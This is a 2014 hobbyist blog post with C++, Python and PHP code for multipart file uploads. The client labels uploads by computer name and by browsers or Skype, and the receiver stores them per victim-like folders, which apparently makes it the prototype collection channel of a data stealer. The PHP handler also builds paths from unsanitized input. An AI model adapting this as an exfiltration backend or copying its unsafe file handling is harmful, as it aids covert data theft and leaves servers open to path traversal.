Finally I had the time to revisit it again. Many moons ago I tried to understand how Multipart file upload works and kinda didn’t succeed, but then again I didn’t put that much effort into it. I did it now because I have a project on my hands which requires this, whole theory didn’t seem very hard and I was able to produce working code for client and server sides in a few hours.
Sending multipart requests is great for file uploading and other large quantities of data. I won’t go about and write a tutorial on how to send these requests, instead I will point you to an awesome RFC and this tutorial.
While browsing I had found a working example done in Python. Cannot remember where I found it or to who it belongs, but anyway, that example code can be found in my projects folder here.
And so based on the docs and that example code I was able to produce a CPP project for my own needs. I tried to make it very simple to adapt for other projects. The project can be found here, and along with it I made a simple PHP script that receives the commands and acts upon them, it’s also a part of other bigger project…
For those who only want a quick review, here’s my C++ code. C++ and PHP codes assume your data is already Base64 encoded:
/* Author: Kulverstukas Date: 2014.02.23 Website: http://9v.lt; Evilzone.org Description: Simple prototype of Multipart POST sending in C++ */ #include <iostream> #include <winsock2.h> #include <string> #include <fstream> #include "windows.h" #include "stdio.h" using namespace std; #define PORT 80 #define IP "127.0.0.1" #define HOST "locahost" #define RECEIVER "/receive_data.php" #define COMPNAME "compname" #define PROGRAM "program" #define FILENAME "file" #define BOUNDARY "----------Evil_B0uNd4Ry_$" #define DUMMY_DATA "c2FzYXNhc2FzZGRmZGZkY2Q=" #define DUMMY_FILE "dummy.txt" //------------------------------------ string constructBody(string args[2], string file[2]); string readFile(string fileName); //------------------------------------ int main() { // initiate the socket! SOCKET dataSock; WSADATA wsaData; int error = WSAStartup(0x0202, &wsaData); if (error != 0) { WSACleanup(); exit(1); // oh shit, this shouldn't happen! } // all internets, engage! SOCKADDR_IN target; target.sin_family = AF_INET; target.sin_port = htons(PORT); target.sin_addr.s_addr = inet_addr(IP); dataSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (dataSock == INVALID_SOCKET) { exit(1); // Houston, we have a problem! } connect(dataSock, (SOCKADDR*)&target, sizeof(target)); string programNames[5][2] = {{"KULVERTOP", "Chrome"}, {"KULVERTOP", "Firefox"}, {"KULVERTOP", "InternetExplorer"}, {"KULVERTOP", "Opera"}, {"KULVERTOP", "Skype"}}; string file[2] = {FILENAME, "Default.txt"}; int a = sizeof(programNames)/sizeof(programNames[0]); for (int i = 0; i < a; i++) { printf("Sending data for %s\n", (programNames[i][1]).c_str()); string body = constructBody(programNames[i], file); char header[1024]; sprintf(header, "POST %s HTTP 1.1\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Connection: Keep-Alive\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Accept-Charset: utf-8\r\n\r\n", RECEIVER, IP, strlen(body.c_str()), BOUNDARY); // printf("%s\n\n", header); int p = send(dataSock, header, strlen(header), 0); // printf("p == %d\n", p); int k = send(dataSock, body.c_str(), strlen(body.c_str()), 0); // printf("k == %d\n", k); // char buff[1024]; // recv(dataSock, buff, 1024, 0); // printf("%s\n\n", buff); } closesocket(dataSock); WSACleanup(); } string readFile(string fileName) { string fileContents; ifstream tmp(fileName.c_str()); getline(tmp, fileContents); tmp.close(); return fileContents; } string constructBody(string args[2], string file[2]) { string body; string CRLF = "\r\n"; // first we add the args body.append("--"+string(BOUNDARY)+CRLF); body.append("Content-Disposition: form-data; name=\""+string(COMPNAME)+"\""+CRLF); body.append(CRLF); body.append(args[0]+CRLF); body.append("--"+string(BOUNDARY)+CRLF); body.append("Content-Disposition: form-data; name=\""+string(PROGRAM)+"\""+CRLF); body.append(CRLF); body.append(args[1]+CRLF); // now we add the file body.append("--"+string(BOUNDARY)+CRLF); body.append("Content-Disposition: form-data; name=\""+string(FILENAME)+"\"; filename=\""+string(DUMMY_FILE)+"\""+CRLF); body.append("Content-Type: text/plain"+CRLF); body.append(CRLF); body.append(DUMMY_DATA+CRLF); body.append("--"+string(BOUNDARY)+"--"+CRLF); body.append(CRLF); // printf(body.c_str()); exit(0); return body; }
Python code:
import httplib, mimetypes def post_multipart(host, selector, fields, files): """ Post fields and files to an http host as multipart/form-data. fields is a sequence of (name, value) elements for regular form fields. files is a sequence of (name, filename, value) elements for data to be uploaded as files Return the server's response page. """ content_type, body = encode_multipart_formdata(fields, files) h = httplib.HTTP(host) h.putrequest('POST', selector) h.putheader('content-type', content_type) h.putheader('content-length', str(len(body))) h.endheaders() h.send(body) errcode, errmsg, headers = h.getreply() return h.file.read() def encode_multipart_formdata(fields, files): """ fields is a sequence of (name, value) elements for regular form fields. files is a sequence of (name, filename, value) elements for data to be uploaded as files Return (content_type, body) ready for httplib.HTTP instance """ BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$' CRLF = '\r\n' L = [] for (key, value) in fields: L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) for (key, filename, value) in files: L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) L.append('Content-Type: %s' % get_content_type(filename)) L.append('') L.append(value) L.append('--' + BOUNDARY + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY return content_type, body def get_content_type(filename): return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
And the PHP code that receives all your garbage:
<?php /* ===== CONSTANTS ===== */ $ROOT_DIR = 'FILES'; $COMPUTER_NAME = 'compname'; $PROGRAM = 'program'; $FILENAME = 'file'; $CHUNK_SIZE = 1024; /* ===================== */ //===================================== /** Function that gets current time and formats it into pretty looking date */ function makeDate() { return strftime('%Y-%m-%d, %H.%M'); } //===================================== // check here if the parameters are set. If it's not then it's safe to say some one is snooping around... if (isset($_POST[$COMPUTER_NAME], $_POST[$PROGRAM], $_FILES[$FILENAME])) { // construct a full path and create it $fullPath = $ROOT_DIR.'\\'.$_POST[$COMPUTER_NAME].'\\'.$_POST[$PROGRAM].'\\'.makeDate(); mkdir($fullPath, 0777, true); // move the files and rename them as temporary $filename = $_FILES[$FILENAME]['name']; move_uploaded_file(($_FILES[$FILENAME]['tmp_name']), $fullPath.'\\'.$filename.'.tmp'); // decode received files $src = fopen($fullPath.'\\'.$filename.'.tmp', 'rb'); $dst = fopen($fullPath.'\\'.$filename, 'wb'); while (!feof($src)) { fwrite($dst, base64_decode(fread($src, $CHUNK_SIZE))); } fclose($dst); fclose($src); unlink($fullPath.'\\'.$filename.'.tmp'); // remove the temp file after decoding it echo 'OK!'; } else { // if someone is snooping around... echo '<html><center><img src="umad.jpg" /></center></html>'; // echo 'oh no :('; } //===================================== ?>